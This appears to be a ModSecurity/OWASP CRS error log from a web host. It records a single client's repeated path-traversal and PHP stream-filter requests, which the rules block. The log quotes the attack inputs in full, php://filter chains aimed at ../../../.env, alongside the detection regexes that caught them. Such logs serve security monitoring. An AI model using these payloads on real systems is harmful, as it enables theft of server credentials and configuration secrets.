[Fri Jul 17 08:55:11.001497 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=YWkQKXaOG9V5JsIAX-43tA-dxwAcVchwP12Xny3096-sgL5iaDAjYOOKxqs54wiVs_ZCrh-hwGsfSQ8enTVvBTDGC6KT9y3J8DNgoiz3mwE7iYtKbA7-decngSnt35_91BE7AKLHmtVrVOnd9HiakMbBEIQL8KlzHOoBFi1dEn_KT836CaV3bm9FZ3_ieblQHOphe23zRPW2oeZA-2mSWqRoeqWCbeI2LATJRvsDsfkzRpv9klIkmf61n-YLPDerhQ_HEQbHt1bD_ny4CoGJGc_c&ref=ELUURQYVMAB4H6XJ5BHQLBWFIB6OI4H2MELCTZLXYAQTPETJUTPWKC2FPXI7F..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.001562 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.001576 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95vQAAAAw"]
[Fri Jul 17 08:55:11.001674 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=YWkQKXaOG9V5JsIAX-43tA-dxwAcVchwP12Xny3096-sgL5iaDAjYOOKxqs54wiVs_ZCrh-hwGsfSQ8enTVvBTDGC6KT9y3J8DNgoiz3mwE7iYtKbA7-decngSnt35_91BE7AKLHmtVrVOnd9HiakMbBEIQL8KlzHOoBFi1dEn_KT836CaV3bm9FZ3_ieblQHOphe23zRPW2oeZA-2mSWqRoeqWCbeI2LATJRvsDsfkzRpv9klIkmf61n-YLPDerhQ_HEQbHt1bD_ny4CoGJGc_c&ref=ELUURQYVMAB4H6XJ5BHQLBWFIB6OI4H2MELCTZLXYAQTPETJUTPWKC2FPXI7FKQAZVNBU6PTQLAETXDC2KTZFN6WK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.001731 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=ywkqkxaog9v5jsiax-43ta-dxwacvchwp12xny3096-sgl5iadajyookxqs54wivs_zcrh-hwgsfsq8entvvbtdgc6kt9y3j8dngoiz3mwe7iytkba7-decngsnt35_91be7aklhmtvrvond9hiakmbbeiql8klzhoobfi1den_kt836cav3bm9fz3_ieblqhophe23zrpw2oeza-2mswqroeqwcbei2latjrvsdsfkzrpv9klikmf61n-ylpderhq_heqbht1bd_ny4cogjgc_c&ref=eluurqyvmab4h6xj5bhqlbwfib6oi4h2melctzlxyaqtpetjutpwkc2fpxi7fkqazvnbu6ptqlaetxdc2ktzfn6wk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.001781 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.001829 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.002370 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.004003 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.004506 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.005068 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sFAAAABQ"]
[Fri Jul 17 08:55:11.006354 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:11.007458 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:11.007591 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.007877 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PlwAAABk"]
[Fri Jul 17 08:55:11.012072 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fQAAABA"]
[Fri Jul 17 08:55:11.012125 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&cb=e-7es6NVVdE81YpeabWAk_NVFaRsvzfV4-JbNClTjgwk-eohKTe8Gz1q4upAQPZ8I-VO-klqjwCOBRYdSGuIVnL3w8fVRd2O3chA2NcUfsOO4bs25TDEscCi6pS0rZ2lTGzdeekMzgVFHT3tCIY_kyX6jxOaypb59VBuyi_WOdujQS_4YpGO7hclSxKbyRtxzWoc-6OuDQCXGeW0HctSd3Z70u9-TJMpBxQcg9I1jvTCOceGX8ACLU5uaxqgaX5yQwJiCdHdbqRwCutU1aVa9BPd&debug=62QVO3Y2WWU5OQZHL2M5ZZ6QU7XD32GFKEFS36HISZHQ53GSXWGRMWS5SWM7ZYZXIEQGQU4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012174 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012219 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=e-7es6NVVdE81YpeabWAk_NVFaRsvzfV4-JbNClTjgwk-eohKTe8Gz1q4upAQPZ8I-VO-klqjwCOBRYdSGuIVnL3w8fVRd2O3chA2NcUfsOO4bs25TDEscCi6pS0rZ2lTGzdeekMzgVFHT3tCIY_kyX6jxOaypb59VBuyi_WOdujQS_4YpGO7hclSxKbyRtxzWoc-6OuDQCXGeW0HctSd3Z70u9-TJMpBxQcg9I1jvTCOceGX8ACLU5uaxqgaX5yQwJiCdHdbqRwCutU1aVa9BPd&debug=62QVO3Y2WWU5OQZHL2M5ZZ6QU7XD32GFKEFS36HISZHQ53GSXWGRMWS5SWM7ZYZXIEQGQU4RA4UCTLSMSU6PIJXKQV3MPHZIJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012244 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&cb=e-7es6nvvde81ypeabwak_nvfarsvzfv4-jbncltjgwk-eohkte8gz1q4upaqpz8i-vo-klqjwcobrydsguivnl3w8fvrd2o3cha2ncufsoo4bs25tdescci6ps0rz2ltgzdeekmzgvfht3tciy_kyx6jxoaypb59vbuyi_wodujqs_4ypgo7hclsxkbyrtxzwoc-6oudqcxgew0hctsd3z70u9-tjmpbxqcg9i1jvtcocegx8aclu5uaxqgax5yqwjicdhdbqrwcutu1ava9bpd&debug=62qvo3y2wwu5oqzhl2m5zz6qu7xd32gfkefs36hiszhq53gsxwgrmws5swm7zyzxieqgqu4ra4uctlsmsu6pijxkqv3mphzij..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012286 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012310 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.012599 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.013547 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.013690 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.013954 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSZwAAAB4"]
[Fri Jul 17 08:55:11.014878 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&extra=SSP2Kxw1fbCnxHKPOLtwwVfPN5huruS8c8k3ajnJlRSGSukGN1uP_zzO7iuNlydOpicrvfjEY4iYKF9sQEA6H5eEVDyRX-qYOLvHjOlGrTo93ixt-rDwtIMfLwrj8o5jjcEemD843GJM_D-CRkGKqF3EGp1LvEoh80-Pt_gC2yIQf9YEm8YuSmlcJqi-bK7J8Jaz6g1jXND3fJwrdLcLZP1Owk1XvSOfAcgtUEn9adZNObOaX58k01_5smHqhqxAa7G2oQeoogu1EG2TXuusk3qV&token=AKRNNYHVNX3GBZLKCAAAKZMLNYKKXQRKQY4JYWH23HLM3JRISKWU4KY4LWCE4MPZBVMSIYTVL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.014938 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
